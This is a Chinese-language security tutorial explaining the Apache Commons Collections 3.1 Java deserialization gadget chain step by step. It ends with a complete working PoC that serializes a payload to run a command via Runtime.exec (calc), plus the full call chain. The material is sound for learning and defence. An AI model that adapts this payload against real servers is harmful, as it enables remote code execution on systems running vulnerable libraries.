文章目录
- 【java安全】CommonsCollections3.1
- InvokerTransformer
- ConstantTransformer
- ChainedTransformer
- TransformedMap
- 如何触发checkSetValue()方法?
- AnnotationInvocationHandler
- poc
- 利用链
【java安全】CommonsCollections3.1
java开发过程中经常会用到一些库。Apache Commons Collections提供了很多的集合工具类。
很多项目会使用到该库,可以通过相关的调用链,触发Commons Colletions 反序列化RCE漏洞
接下来我们介绍一些重要的类
InvokerTransformer
这个InvokerTransformer
类可以使用transform()
方法使用反射机制调用任意函数
我们首先看一看构造方法:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
为参数赋初值
transform()
方法
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
...
}
}
该方法会使用反射机制,将传入的对象input
使用getClass()
方法获取Class对象,然后使用getMethod()
获取方法的Method对象,最后传参invoke()
调用函数
那么我们就可以通过InvokerTransformer
这么执行命令:
import org.apache.commons.collections.functors.InvokerTransformer;
public class InvokerTransformerDemo {
public static void main(String[] args) throws Exception {
//Class runtimeClass=Class.forName("java.lang.Runtime");
//Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);
//runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");
Class runtimeClass=Class.forName("java.lang.Runtime");// Runtime的类对象
//借助InvokerTransformer调用runtimeClass的getMethod方法,参数是getRuntime,最后返回的其实是一个Method对象即getRuntime方法
Object m_getMethod=new InvokerTransformer("getMethod",new Class[] {
String.class,Class[].class},new Object[] {
"getRuntime",null
}
).transform(runtimeClass);
//借助InvokerTransformer调用m_getMethod的invoke方法,没有参数,最后返回的其实是runtime这个对象
Object runtime=new InvokerTransformer("invoke",new Class[] {
Object.class,Object[].class},new Object[] {
null,null
}
).transform(m_getMethod);
//借助InvokerTransformer调用runtime的exec方法,参数为calc.exe,返回的自然是一个Process对象
Object exec=new InvokerTransformer("exec",new Class[] {
String.class},new Object[] {
"calc.exe"
}
).transform(runtime);
}
}
Runtime类的
getRuntime()
函数是静态方法,所以使用反射不需要传入对象,传个null即可public static Runtime getRuntime() { return currentRuntime; }
ConstantTransformer
这个类的transform()
方法很简单:
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
传入什么对象,就返回什么对象
ChainedTransformer
构造函数:
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
将传入的transformer
数组赋值给 iTransformers
变量
再看transform()
方法:(重点)
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
ChainedTransformer
类的transform()
方法会调用iTransformers
数组中的每个Transform
对象的transform()
方法,并且会将前一个的返回值通过object
变量传给后面一个
于是我们可以构造出新的链
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
public class ReflectionChain {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[] {
String.class,Class[].class},new Object[] {
"getRuntime",null
}
),
new InvokerTransformer("invoke",new Class[] {
Object.class,Object[].class},new Object[] {
null,null
}
),
new InvokerTransformer("exec",new Class[] {
String.class},new Object[] {
"calc.exe"
}
)
};
ChainedTransformer chain= new ChainedTransformer(transformers);
chain.transform(null);
}
}
至此,我们漏洞利用条件是构造出含命令的ChainedTransformer
对象,然后触发transform()
方法
如何才能触发呢?
我们需要看看TransformedMap
类的源码:
TransformedMap
在TransformedMap
类中,存在一个checkSetValue()
方法,可以调用transform()
方法:
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
我们可以通过创建TransformMap
对象来调用该方法,但是如何创建对象呢?
我们可以使用decorate()
静态方法:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
于是,我们可以将构造的链子传入TransformedMap对象中:
Map innermap = new HashMap();
innermap.put("key", "value");
Map outmap = TransformedMap.decorate(innermap, null, chain);
如何触发checkSetValue()方法?
Map
是java的接口,
Map.entrySet()
的返回值是一个Set
集合,此集合的类型是Map.Entry
我们发现TransformedMap
类的父类是AbstractInputCheckedMapDecorator
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable
但是AbstractInputCheckedMapDecorator
类中存在setValue()
方法,可以调用checkSetValue()
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
}
根据继承和多态,我们知道TransformedMap
类中也有setValue()
方法
我们可以对outmap对象如下操作就可触发命令执行:
Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
onlyElement.setValue("foobar");
但是目前漏洞的触发还需要调用setValue()
方法,我们需要实现带有readObject()
方法的类调用setValue()
方法,这样就可以实现反序列化RCE了
这里需要用到AnnotationInvocationHandler
类:
AnnotationInvocationHandler
AnnotationInvocationHandler类的readObject()
方法对memberValues.entrySet()
的每一项调用了setValue()
方法
构造函数:
这里先直接给出两个条件:
sun.reflect.annotation.AnnotationInvocationHandler
构造函数的第⼀个参数必须是
Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设⽅法名是X
- 被
TransformedMap.decorate
修饰的Map中必须有⼀个键名为X的元素
所以,在Retention有⼀个⽅法,名为value;所以,为了再满⾜第⼆个条件,我需要给Map中放⼊⼀个Key是value的元素
poc
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.annotation.RetentionPolicy;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class CommonCollections11 {
public static Object generatePayload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
}; //这里和我上面说的有一点点不同,因为Runtime.getRuntime()没有实现Serializable接⼝,所以这里用的Runtime.class。class类实现了serializable接⼝
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "xxx");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
//通过反射获得AnnotationInvocationHandler类对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//这里需要设置Accessible为true,否则序列化失败
ctor.setAccessible(true);
//通过newInstance()方法实例化对象
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}
public static void main(String[] args) throws Exception {
payload2File(generatePayload(),"obj");
payloadTest("obj");
}
public static void payload2File(Object instance, String file)
throws Exception {
//将构造好的payload序列化后写入文件中
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//读取写入的payload,并进行反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}
最后生成的temp.bin只需要通过某种途径传递给服务端使其反序列化就可RCE
利用链
以上利用方法在jdk1.7有效,不过ysoserial中也有jdk1.8的利用方式
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
CC链学习-上 - 先知社区 (aliyun.com)
Java反序列化漏洞原理解析 - 先知社区 (aliyun.com)